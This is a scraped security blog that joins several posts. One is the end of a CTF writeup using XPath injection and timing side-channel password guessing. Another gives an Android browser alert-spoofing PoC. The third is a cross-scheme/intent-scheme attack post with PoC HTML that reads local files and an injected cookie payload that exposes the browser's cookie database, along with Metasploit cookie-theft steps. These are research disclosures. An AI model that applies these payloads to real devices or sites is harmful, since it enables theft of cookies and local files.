src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT89hUjzCtjpeSi2xVi1b_neV8ZcPvCQZjhdWK9qIEluc4RI6C-BQhLIMJiuQa_RG9YPnhbD4PlA-9RbkFjsvctwbbEmBZm_oTcqBL8gKXyBrS7xLZgo6BKVZDQNwzrNKnDCV3FPfIAx8/s1600/Screenshot_20.png" width="577" /> </a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">The email field in this form was vulnerable to blind XPath injection which I deducted after testing the negative and positive results by executing the form as follows:</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b>Positive: </b></div><blockquote class="tr_bq"><div class="separator" style="clear: both; text-align: left;"><span style="color: #b45f06;"><b>URL</b>:</span> <span style="color: blue;">/checkreservation.php</span></div><div class="separator" style="clear: both; text-align: left;"><span style="color: #b45f06;"><b>POST data:</b></span> <span style="color: red;">phone=999-9999-9999&email=t3hg00n@yahoo.com' and '1'='1 </span></div></blockquote><b>Negative: </b><br /><blockquote class="tr_bq"><div class="separator" style="clear: both; text-align: left;"><span style="color: #b45f06;"><b>URL</b>:</span> <span style="color: blue;">/checkreservation.php</span></div><span style="color: #b45f06;"><b>POST data:</b></span> <span style="color: red;">phone=999-9999-9999&email=t3hg00n@yahoo.com' and '1'='2</span></blockquote>Later I realized I could send the same parameters in GET request as well (not important but makes things a bit easier). Anyway, I started with exploiting it manually by using the xpath's "substring" function but soon I realized that it was going take an eternity this way. So I tried to use a python tool named "xcat". It worked but it was so slow that it took about 30 minutes to extract the information of first user in the document but the secret was not stored in the information of first user. What a disappointed that was! And it reached the 4th user, the session was expired; but the secret was not yet found. But it did help because now I knew the element names and I figured which element contained the required secret message. This was the structure of the XML document:<br /><blockquote class="tr_bq"><span style="color: blue;">http://pastebin.com/raw.php?i=kEQdcGF7</span></blockquote>So I wrote a little PHP script to extract only the text of "info" element which I believed contained the secret. So first I manually discovered the length of the text in "info" element and then used the script to extract the contents. I started from second user as I already knew that the info of first user didn't have the required secret and found the secret in the info of 7th user.<br /><br />Here is the little script I wrote:<br /><blockquote class="tr_bq"><span style="color: blue;">http://pastebin.com/raw.php?i=REiFeShx</span></blockquote>Here is the output it generated:<br /><br /> Before I show the final output, I must admit that I had a mini heart-attack when it reached at this point after about 20 minutes.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgESF-bJP0m_eTFwudjac3wwvg7tiOdnHiXnUTpMgGtyFx7FS_YCYv2uUsdBxZOinQpTo6-DZmyVfCII1OEVJ94msXVnb-HLxNB8EXynmCpiHoQ5TxrXmITPmFt40f6InW41nqIOo8qJhA/s1600/Screenshot_21.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgESF-bJP0m_eTFwudjac3wwvg7tiOdnHiXnUTpMgGtyFx7FS_YCYv2uUsdBxZOinQpTo6-DZmyVfCII1OEVJ94msXVnb-HLxNB8EXynmCpiHoQ5TxrXmITPmFt40f6InW41nqIOo8qJhA/s1600/Screenshot_21.png" /> </a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Because I had already spent about an hour while extracting the information of users in hope to find the secret. </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Here is the final output:</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPj5oa6FX97L6jzqKiIT7d7HeLMAKbRMIbWdQJ2cOcA317JjCMqjNFtxfCdApK_E32SCON-_QDbL79JPxICNHCEpY5Y85W-vl5wuX9sBcA01dgJRPDHU6X4h_EY398gmiAkUD9fUKliG0/s1600/Screenshot_23.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPj5oa6FX97L6jzqKiIT7d7HeLMAKbRMIbWdQJ2cOcA317JjCMqjNFtxfCdApK_E32SCON-_QDbL79JPxICNHCEpY5Y85W-vl5wuX9sBcA01dgJRPDHU6X4h_EY398gmiAkUD9fUKliG0/s1600/Screenshot_23.png" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div> MD5 hash of this secret (Giuseppe did a great job!) was the flag for this challenge.<br /><br /><br /><h4>1. Guess the Password (Side Channeling)</h4><br /><br /><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgckVJLa1AUl9FfhrHbCIFAU2SRRFppHqZrkeJ_bDRCldl9PdbbIL-vlzaMNIltaNedh4y71b9x_n7ZX7JuIryK8YwIMN-TKgOUMSns8xR1CExR0_IbdCseziSKGUebplKpBH1npLx2WzA/s1600/Screenshot_22.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgckVJLa1AUl9FfhrHbCIFAU2SRRFppHqZrkeJ_bDRCldl9PdbbIL-vlzaMNIltaNedh4y71b9x_n7ZX7JuIryK8YwIMN-TKgOUMSns8xR1CExR0_IbdCseziSKGUebplKpBH1npLx2WzA/s1600/Screenshot_22.png" /></a></div><br /><br /><br />This challenge was misleading. The title was misleading plus it had only 100 points, so I thought how difficult could it be? Should be easy, so I tried to solve this at second number (after finishing the 50 points challenge) but gave up after spending about 30 minutes on it and moved to the next challenge (didn't want to waste time and solve as many challenges as possible in less time).<br /><br />After solving all other challenges, I came back to this. The main page had a form with one input field which can be seen in the screenshot below:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2SSQqy1GQrcIZB7XFnRJTqwXzH8r97EbLZY4iiYDZKea_zA6vxLUpZVa6wq1aENrREle497vOo84b2uVRh-TXXptO5pT-mlapqZlCNWVnhKOlH43RhwIuUWLgXV-afvlspf6yAm6xZRA/s1600/Screenshot_24.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2SSQqy1GQrcIZB7XFnRJTqwXzH8r97EbLZY4iiYDZKea_zA6vxLUpZVa6wq1aENrREle497vOo84b2uVRh-TXXptO5pT-mlapqZlCNWVnhKOlH43RhwIuUWLgXV-afvlspf6yAm6xZRA/s1600/Screenshot_24.png" width="320" /></a></div><br /><br />I started with analyzing headers, cookies and HTML source expecting the password to be hidden somewhere but at first attempt, I couldn't find anything of interest. Then I thought maybe it's a simple brute-force challenge; maybe a common weak password is used. Having this thought in mind, I coded a little script and started brute-forcing using a list of most common 1000 passwords. Result? Disappointed.<br /><br />Here is how the form request was submitted:<br /><blockquote class="tr_bq"><span style="color: #b45f06;"><b>URL:</b></span> <span style="color: blue;">/index.php</span><br /><span style="color: #b45f06;"><b>POST data:</b></span> <span style="color: red;">password=test</span></blockquote>And here is the resulting page:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizILPlrjlR_ShwW_5X5HnLBzl-FgyMKIlRbeBhlCASHFXa0uOnNKYBEGoMsYGpva1rtoeFBM-AsrENM3IImfIaUJ7oe-cqv4jPX6z0FVT72JptqHB7nvXOngSJqnd14Tbqa4owB5C56oM/s1600/Screenshot_26.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizILPlrjlR_ShwW_5X5HnLBzl-FgyMKIlRbeBhlCASHFXa0uOnNKYBEGoMsYGpva1rtoeFBM-AsrENM3IImfIaUJ7oe-cqv4jPX6z0FVT72JptqHB7nvXOngSJqnd14Tbqa4owB5C56oM/s1600/Screenshot_26.png" /></a></div> I am not afraid or ashamed to admit that I had never heard of "side channeling" attacks before and I had never used one and that's the reason that even after spending 2 hours on this challenge, I could not figure it out. I must admit that I was annoyed.<br /><br />Anyway, I checked the HTML source once again and found this interest comment there.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR92zihd6IiZNhChpbug03agEQ1UbSR7xxzgDR6Se3V2v_0Hq9oLCPnscFQ_7vlC2DVHMQHHLi7mOiTdAGInc0xfy-nW-o-fams8Cb_7bSoMAkk35l0mL-1Y9eeQJMDBAAEanPXXbjQB0/s1600/Screenshot_25.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhR92zihd6IiZNhChpbug03agEQ1UbSR7xxzgDR6Se3V2v_0Hq9oLCPnscFQ_7vlC2DVHMQHHLi7mOiTdAGInc0xfy-nW-o-fams8Cb_7bSoMAkk35l0mL-1Y9eeQJMDBAAEanPXXbjQB0/s1600/Screenshot_25.png" /></a></div>"?debug for DEBUGGING" - I started wondering what it could possibly mean. I included "debug" parameter in the URL and analyzed the source but it was the same with and without the parameter.<br /><br />After trying many things using this hint, I tampered the password submitting request and sent the request as below:<br /><blockquote class="tr_bq"><span style="color: #b45f06;"><b>URL:</b></span> <span style="color: blue;">/index.php?debug</span><br /><span style="color: #b45f06;"><b>POST data:</b></span> <span style="color: red;">password=test</span></blockquote>At first the result looked exactly the same. But after checking the source, I discovered that that was some addition content in the result; it was an HTML comment which can be seen in the screenshot below.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDOYrn7sbPBiYNg-jJm3brpBL0iySrpdBOkwaxdSZxbJPaRj6zj7slOmtag0yNWh-nrGiOypzjOGY7GyBspOAeBVTbK6QRnHG1XQmJm9BxJoRkZ8xfvnLjzbzrowCCqN19bHIal2RMItI/s1600/Screenshot_29.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDOYrn7sbPBiYNg-jJm3brpBL0iySrpdBOkwaxdSZxbJPaRj6zj7slOmtag0yNWh-nrGiOypzjOGY7GyBspOAeBVTbK6QRnHG1XQmJm9BxJoRkZ8xfvnLjzbzrowCCqN19bHIal2RMItI/s1600/Screenshot_29.png" /></a></div><div class="separator" style="clear: both; text-align: left;">Now that was something interesting. I started testing the process time with different inputs in hope of find the length of the password or the charset used; for few inputs it remained the same. After few inputs, I submitted password=test and this was the result:</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjvOwp3DZMl1LM2lJJ5NBX2yfrUg6zK2TO7OYYhgfUSnog0gtYuZhjSaxCG0PQQrj7AjYzSzHtRcRfk6gnkIHM5Ds7QFRYPE7kiH7c9RwGN9d0vbP5a9JZewnDhQ9KhQZOP5paNvYIGEk/s1600/Screenshot_30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjvOwp3DZMl1LM2lJJ5NBX2yfrUg6zK2TO7OYYhgfUSnog0gtYuZhjSaxCG0PQQrj7AjYzSzHtRcRfk6gnkIHM5Ds7QFRYPE7kiH7c9RwGN9d0vbP5a9JZewnDhQ9KhQZOP5paNvYIGEk/s1600/Screenshot_30.png" /></a></div><div class="separator" style="clear: both; text-align: left;">I noticed that the process time was changed. I submitted the same request and noticed that the time fluctuated between 0.09 and 0.10. So I increased the length by adding more characters after the word "test" but the result remained same. Then I started changed the letters of "test" one by one and analyzed the change in time, starting from the end and removed the letter if it didn't effect the time. So I left with only this:</div><blockquote class="tr_bq"><div class="separator" style="clear: both; text-align: left;"><span style="color: #b45f06;">password=t</span></div></blockquote>When I changed the letter 't' to something else, the time again became zero. I tried all characters on the keyboard and the time remained zero. After putting back 't' the time was again 0.1. At this point, I figured that the first letter of the password might be 't' because it's getting passed through checks and there must be some processing going on on the valid characters which takes some time hence the increment in time. So after that, I added one letter after 't' and tried password=ta but the time remained same i.e. 0.1. So once again I replaced 'a' with every character on my keyboard one after one and when finished upper and lower-case alphabets, I inputted password=t1 and this was the result:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTmEmKbHxSyi_SgSnTBuueYe38_J0FKgesPCsSWzjNCteKJllgCEVBgMcEjX-zXK1LRYIFkvPLay0C3RQrgS6wTzZ-TgTGt_8D5B5lhm5AHSjkveNVKiZOdiWa_ggZng335DOp5_Zalis/s1600/Screenshot_31.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTmEmKbHxSyi_SgSnTBuueYe38_J0FKgesPCsSWzjNCteKJllgCEVBgMcEjX-zXK1LRYIFkvPLay0C3RQrgS6wTzZ-TgTGt_8D5B5lhm5AHSjkveNVKiZOdiWa_ggZng335DOp5_Zalis/s1600/Screenshot_31.png" /></a></div>Yes, an addition of 0.1 in the time. This made me believe that I was going in the right direction and this was indeed the right way to "GUESS" the password. But just to be sure, I checked the third character manually and now I had first three valid characters of the password i.e. "t1c".<br /><br />Obviously I didn't know the length of the password. It could have been 100 even 1000 characters long, so I decided code a PHP script to automate the task and "GUESS" the password for me.<br /><br />Here is the code of that PHP script:<br /><br /><blockquote class="tr_bq"><span style="color: blue;">http://pastebin.com/raw.php?i=HkFCU2K6</span></blockquote>It was a little fun coding this one. Here is the output it generated:<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyw10OACkTz-rhz806pZst-Z3GaRrOL5GxO1_KXHEoubjUn_elg3vCSnNgFDl0Hq8CC8GvC4N2uJlmvqU_743yT88kViol_IXTlzww4Daxs6gOMwMayUzqtFtEbubhOymdk62A26LH92g/s1600/Screenshot_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyw10OACkTz-rhz806pZst-Z3GaRrOL5GxO1_KXHEoubjUn_elg3vCSnNgFDl0Hq8CC8GvC4N2uJlmvqU_743yT88kViol_IXTlzww4Daxs6gOMwMayUzqtFtEbubhOymdk62A26LH92g/s1600/Screenshot_2.png" /></a></div><br /><br /> "t1ckt0ck_b00m" was the valid password and the MD5 hash of this password was the flag for this challenge.<br /><br />So that was it. It was really fun solving some of these challenges and it was indeed a good learning experience.<br /><br /><h4>About The Author</h4>Sajjad is a penetration tester and security enthusaists. He is a co-founder of CATRAX and REFLUXES where he offers security testing services. </div>

CSP 2015 Capture The Flag Writeup

On 11th April Giuseppe Trotta and myself organized a CTF (Capture The Flag) competition for Cyber Secure Pakistan (A conference that combi...

+ Read more »

Android Browser Kitkat Content Spoofing Vulnerability

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpcj1mI-Vi-qn7LeTLVafQQzDWMBx47NRXFUyMvyQ6Od-7JB81oAPqd3ZfYeAIGzji9913tIubptEHaqWETo7vKqmHKq54nf6LIa057UrJ7lLhHOWClnQue7rWa8uLhH0ehOx5Sj0a0s4/s1600/ANDROID.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="319" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpcj1mI-Vi-qn7LeTLVafQQzDWMBx47NRXFUyMvyQ6Od-7JB81oAPqd3ZfYeAIGzji9913tIubptEHaqWETo7vKqmHKq54nf6LIa057UrJ7lLhHOWClnQue7rWa8uLhH0ehOx5Sj0a0s4/s1600/ANDROID.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">The following is a low risk vulnerability that was found few months ago while testing the latest Android Stock browser on Android Kitkat.  The issue that was found is commonly referred as Content spoofing Vulnerability or dialog box spoofing vulnerability which could be used to fake an alert message on a legitimate website.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">In other words, i could display an alert box (Of my choice) on the site of my choice. Whereas in chrome, Firefox and other browser the alert box appears on correct tab. </div><div class="separator" style="clear: both; text-align: left;"></div><a name="more"></a><br /><h4>POC</h4><div class="separator" style="clear: both; text-align: left;"><a onclick="test()">CLICK</a> </div><div class="separator" style="clear: both; text-align: left;"><script> function test()</div><div class="separator" style="clear: both; text-align: left;">{ window.open('http://bing.com/') setTimeout (function(){alert("HACKED");}, 5000) } </div><div class="separator" style="clear: both; text-align: left;"></script></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Upon executing the above code, the alert box would be displayed on bing.com. </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTZFvC8kZbwxBFg_Gmz7YZA4Zp5qfLznB2kpldQtZ21rzkT9HDmVRrmD5PG-tLfEXTYb-OomYVuGwzuk6Lzl3dnSavBn-7RZtC1yli7TKXWuixngdCOXqRwxZguG3XDD3yMgcwhdcRIPM/s1600/unnamed.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTZFvC8kZbwxBFg_Gmz7YZA4Zp5qfLznB2kpldQtZ21rzkT9HDmVRrmD5PG-tLfEXTYb-OomYVuGwzuk6Lzl3dnSavBn-7RZtC1yli7TKXWuixngdCOXqRwxZguG3XDD3yMgcwhdcRIPM/s1600/unnamed.png" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both;"></div><h4>Technical Details</h4><div class="separator" style="clear: both;">The issue resides inside of the ASOP browser, and more specifically due to the fact the webview fails to overwrite the <a href="http://developer.android.com/reference/android/webkit/WebChromeClient.html" rel="nofollow" target="_blank">WebChromeClient.onJsAlert()</a> method which is responsible for displaying the javascript alert box and this way webview is not able to switch the JsAlert() to the correct tab.</div><div class="separator" style="clear: both;"></div><h4>Future Releases</h4><div class="separator" style="clear: both;">I have recently reported another medium risk issue present in latest android stock browser, which would be released once the issue is addressed by the Google team. </div></div>

Android Browser Kitkat Content Spoofing Vulnerability

The following is a low risk vulnerability that was found few months ago while testing the latest Android Stock browser on Android Kitkat.  T...

+ Read more »

Android Browser Cross Scheme Data Exposure + Intent Scheme Attack

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI1Qfboj8JL7uxGjqAUO6tNRf1ZOxtjJR7_PhhboKlAeW70CVGhKvGx4GhThhcCnoeAe2yKGFkcSK8DRGIH2YJ5mleG3kWgBo-wHNhyphenhyphenmItu_m2pobJKgHtnuxvRmqb4Fg5AD7XFqxus14/s1600/_76596407_76592059.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI1Qfboj8JL7uxGjqAUO6tNRf1ZOxtjJR7_PhhboKlAeW70CVGhKvGx4GhThhcCnoeAe2yKGFkcSK8DRGIH2YJ5mleG3kWgBo-wHNhyphenhyphenmItu_m2pobJKgHtnuxvRmqb4Fg5AD7XFqxus14/s1600/_76596407_76592059.jpg" width="320" /></a></div><br /><b>tl;dr </b>This exploit is an issue present in Android browser < 4.4 and several other android browsers which allows an attacker to read sqlite cookie database file and hence exposing all cookies. Along with it we also talk about a Cross Scheme Data exposure attack in Android < 4.4.<br /><h4>Introduction</h4>During my research on ASOP (Stock Browser) I found out that is is possible to open links to local files using file:// protocol by from a webpage by selecting "<b>Open Link in New tab</b>" from the context menu". This itself is does not represent a vulnerability unless there is a way to read local files and use be able to retrieve the files remotely. However, what caught my attention here is this by default is not permitted browsers such as Chrome, Firefox, Opera etc.<br /><a name="more"></a><br />The following screenshot demonstrates the error which is obtained when trying to access a local file from context menu.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyKaVtMldaWV-vlm6QUYb9DIMFjqsA0E6WLImbvaokQ0EZ3P3uJoYuZVxeE4ecNDPupnUcrq_Vx6Ee2BeeLMfVE_hUlcyY5ZpvhMisVEBP-Yo63EuG0dyLwRqXcAhCuoeVUWr3kSzzrYQ/s1600/khoso.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="115" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyKaVtMldaWV-vlm6QUYb9DIMFjqsA0E6WLImbvaokQ0EZ3P3uJoYuZVxeE4ecNDPupnUcrq_Vx6Ee2BeeLMfVE_hUlcyY5ZpvhMisVEBP-Yo63EuG0dyLwRqXcAhCuoeVUWr3kSzzrYQ/s1600/khoso.png" width="577" /></a></div><br /><h4>Attack Plan </h4>In order to exploit this issue, the following was the attack plan we came up with:<br /><br /><b>i) </b>User visits <b>Attacker.com.</b><br /><b>ii) Attacker.com </b>forces a download (exploit.html) on the victim's browser using content disposition header. The purpose of the exploit.html would be read local files and send it back to the attacker.<br /><b>iii) </b>The victim opens up a link by selecting "<b>Open Link in New tab</b>" which opens the local file exploit.html which was forced as download. <br /><b>iv) </b>Our file exploit.html would then be reading other local files and sending it back to the attacker.<br /><br />In order to write an effective exploit for the attack, I coped up with<b><a href="https://twitter.com/harupuxa" rel="nofollow" target="_blank"> Haru Sugiyama</a></b> a Security researcher from Japan. He came up with the following POC:<br /><b><a href="https://www.blogger.com/goog_841362288"><br /></a></b><b><a href="http://133.242.134.241/firefox/test.html" rel="nofollow" target="_blank">http://133.242.134.241/firefox/test.html</a></b><br /><br />Upon accessing the above page from android browser, it would first force the following file "<b>exploit.html</b>". Both FireFox and Android browser save files to '<b>/sdcard/Download/exploit.html</b>' in case sdcard is available. The exploit.html file would then try reading the other local files. However, this was not easy as it looked at first sight. Let's first talk about how the results from Android Gingerbread were different from Jellbeans.<br /><b></b> <br /><h4><b>Android Gingerbread:Observations</b></h4>In case of Android Gingerbread Emulator build 2.3 we are easily able to read other local files, this represents a vulnerability as in the browser, as it effectively allows a website to perform cross domains data theft and hence violating the <b>same-origin-policy</b>. The impact however is not large as roughly 11.4% of the users now use Android Gingerbread and they are dying slowly just like windows xp.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmHrl4bk8ajk4KVPO8mmHG49XgNAq3Oa3Zdl52A0ZJZg1o2Io15-MoTZAiKvf44nZyFKoFsAz74vPbL7UnZyLiE-ldQUqnS1aLv6K5LU9r-8kaVCxuRJ-FGrbRW5-Gzug4JOFmwphXJQg/s1600/6bb44c670f3a1d59f7823d15ea6bf76d_b.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="257" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmHrl4bk8ajk4KVPO8mmHG49XgNAq3Oa3Zdl52A0ZJZg1o2Io15-MoTZAiKvf44nZyFKoFsAz74vPbL7UnZyLiE-ldQUqnS1aLv6K5LU9r-8kaVCxuRJ-FGrbRW5-Gzug4JOFmwphXJQg/s1600/6bb44c670f3a1d59f7823d15ea6bf76d_b.jpg" width="577" /></a></div><br /><b></b> <br /><h4><b>Android JellyBeans: Observations</b></h4>In case jellybeans we found out that a local file was not able to read a local files,  We then tried our old null byte trick and it worked like a charm.<br /><br />The following is the POC:<br /><br /><blockquote class="tr_bq"><button onclick="exploit()">Read iframe</button><br /><button onclick="window.open('\u0000javascript:alert(document.body.innerHTML)','test')">Try \u0000</button><br /><iframe src="file:/default.prop" name="test" style='width:100%;height:200'></iframe><br /><script><br />function exploit() {<br />  var iframe = document.getElementsByTagName('iframe')[0];<br />  try{<br />    alert("Try to read local file.");<br />    alert("contentWindow:"+iframe.contentWindow);<br />    alert("document:"+iframe.contentWindow.document);<br />    alert("body:"+iframe.contentWindow.document.body);<br />    alert("innerHTML:"+iframe.contentWindow.document.body.innerHTML);<br />  } catch(e) {<br />    alert(e);<br />  }<br />}<br /></script></blockquote><br />However, due to the discovery of <b><a href="http://www.rafayhackingarticles.net/2014/08/android-browser-same-origin-policy.html" target="_blank">CVE-2014-6041</a> </b>the nullbytes issue was already patched and the above exploit did not work on patched devices.<br /><h4>Intent URL Scheme Attack</h4><div>Based upon our above findings it was concluded that in Android Jellybeans the access to local files was not an issue due to the fact that a local file could not read other local files. However Joe Vennix from metasploit team came up with a more strong way to exploit it by abusing the intent scheme. The following paper -> <a href="http://www.mbsd.jp/Whitepaper/IntentScheme.pdf" rel="nofollow" target="_blank">http://www.mbsd.jp/Whitepaper/IntentScheme.pdf</a> describes a potential way of exploiting this issue.  The following is the POC described in the paper:<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY8idrtxfLEZE_3vJEBIn26xM5u1ihhBFlTMpyg439Uk50AFRToyKiO770pLHCVtm7V5IBsQuCAGF-GeEYPsd8UmmedHi3Vd89X8TpvfJLD4QFNrGEvqNEzG3CWdqUtErcVEbd4Slx_30/s1600/khoso.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="78" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY8idrtxfLEZE_3vJEBIn26xM5u1ihhBFlTMpyg439Uk50AFRToyKiO770pLHCVtm7V5IBsQuCAGF-GeEYPsd8UmmedHi3Vd89X8TpvfJLD4QFNrGEvqNEzG3CWdqUtErcVEbd4Slx_30/s1600/khoso.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both;">The idea behind the attack vector is to saved a cookie containing javaScript code and trick the victim into opening the sqlite database file. Upon viewing the injected javascript would be executed in the context of a cookie file and would grab the rest of the cookies from the database file.<b> </b>Following is the basic POC, when when executed would read the entire webviewCookieChromium.db file.</div><div class="separator" style="clear: both;"><b><br /></b></div><div class="separator" style="clear: both;"><!doctype html></div><div class="separator" style="clear: both;">      <html></div><div class="separator" style="clear: both;">        <head><meta name="viewport" content="width=device-width, user-scalable=no" /></head></div><div class="separator" style="clear: both;">        <body style='width:100%;font-size: 16px;'></div><div class="separator" style="clear: both;">          <a href='file:///data/data/com.android.browser/databases/webviewCookiesChromium.db'></div><div class="separator" style="clear: both;">            Redirecting... To continue, tap and hold here, then choose "Open in a new tab"</div><div class="separator" style="clear: both;">          </a></div><div class="separator" style="clear: both;">          <script></div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;">           document.cookie='x=<img src=x onerror=prompt(document.body.innerHTML)>';   </div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;"><span class="Apple-tab-span" style="white-space: pre;"> </span> </script></div><div class="separator" style="clear: both;">        </body></div><div class="separator" style="clear: both;">      </html></div><br />Joe has created a <a href="https://github.com/rapid7/metasploit-framework/pull/4461" rel="nofollow" target="_blank">Metasploit module</a>, which automates the process of stealing the cookies and sending it back to you , since the db file also contains httponly cookies as well this attack is quite dangerous.<br /><br /><h4>Steps to Reproduce with Metasploit</h4><br /><b><br /></b>The following screenshots would walk you through the process of exploiting and retrieving the cookies:<br /><b><br /></b><b>Step 1 - Setting up the Module</b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLtOQvHEwEfFaYoUiX4GCYGYx_2JF_JMEbEDeGegi5a5jTF0bsbpL9RVtnYnkmrUKKc-FtSkAk3OuQQ3G4UV2kNKD6uK0JL6CJqiGut3IRao6XBX3VfZivxVHCWuvaEkw6yeHvs3MK-N8/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="86" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLtOQvHEwEfFaYoUiX4GCYGYx_2JF_JMEbEDeGegi5a5jTF0bsbpL9RVtnYnkmrUKKc-FtSkAk3OuQQ3G4UV2kNKD6uK0JL6CJqiGut3IRao6XBX3VfZivxVHCWuvaEkw6yeHvs3MK-N8/s1600/1.png" width="577" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: center;"><br /></div></div><b>Step 2 - Stealing The Cookies</b><br /><b><br /></b><br /><div class="separator" style="clear: both; text-align: left;">All you need to sit back and watch the cookies coming to you. </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgGBmxv6fNtDcNLKNc8bai4yC21YD7iHqCSq2JjwrlOd181RdkHmuKF2yVhPAgGGIp3jC2MtcWoTLNa61DvsQO7CbklgcHeoVF8epsGjygWZEaQuhLe8PLFSKSIJO87U0KyH9Uwf_94FU/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="402" 